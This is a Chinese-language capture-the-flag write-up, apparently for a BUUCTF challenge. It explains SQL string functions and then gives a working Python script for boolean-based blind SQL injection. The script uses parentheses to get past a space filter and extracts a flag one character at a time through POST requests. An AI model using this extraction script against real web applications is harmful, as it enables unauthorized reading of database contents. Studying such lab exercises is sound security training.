标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)
涉及到了几个SQL语句:
SUBSTR(string,start,count)
取子字符串,从start开始,取count个
ASCII(str)
返回字符串str的最左字符的数值。返回0,如果str为空字符串。返回NULL,如果str为NULL。 ASCII()返回数值是从0到255。
例如:
SQL> SELECT ASCII('2'); 返回2的ascii码50
SQL> SELECT ASCII('dx'); 返回d的ascii码100
IF(a,b,c)
if判断,如果a满足条件,返回b,否则返回c
例如:
SQL> select if(ascii("a")=99,1,2); 返回2
python代码:(不是二分查找)
import requests
import time
'''
分析
id=true或1 返回 Hello, glzjin wants a girlfriend. 可以利用
id=2 返回 Do you want to be my girlfriend?
id=(表达式) 根据返回结果,逐个字母判断flag值
查询flag的SQL语句(由于过滤了空格,要用括号代替):(select(flag)from(flag))
使用SQL语句逐个取出flag字符:substr((select(flag)from(flag)),i,1) 从第i个取1一个字符
判断取出的的字符是什么字符:
根据什么判断?ascii
if(ascii(substr(select(flag)from(flag),i,1))=某ascii值,1,0) 正确返回1,错误返回0
每个字符都要进行判断,每次判断都要循环,所以是一个两层循环
'''
url = 'http://ea9211c6-ae0f-4e03-895e-007dd742f521.node4.buuoj.cn:81/index.php'
ch = ''
c = 0 # 记录一下循环次数
i = 1
asciivalue = 1
flag = 'flag{'
# mylist内容是包含ascii码值的列表,包括了对应的数字、字母、{}、-
mylist = list(range(45, 46)) + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 124)) + list(range(125, 126))
for i in range(6, 50):
for asciivalue in mylist:
# 发出请求
# POST中id的内容
payload = 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(i, asciivalue)
data = {
'id': payload
}
r = requests.post(url, data)
time.sleep(0.2)
# 检测回包内容
c += 1
if 'glzjin' in r.text:
ch = chr(asciivalue)
flag += ch
print('\nGet it!! {}'.format(flag))
break
else:
print('.', end='')
if ch == '}':
print('Over!')
break
print(flag)
print(c)
# flag{3e9bad6e-155d-4fe1-9d03-79c4de2f5321}
# xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
几个基本的判断:
如有错误,还请指出!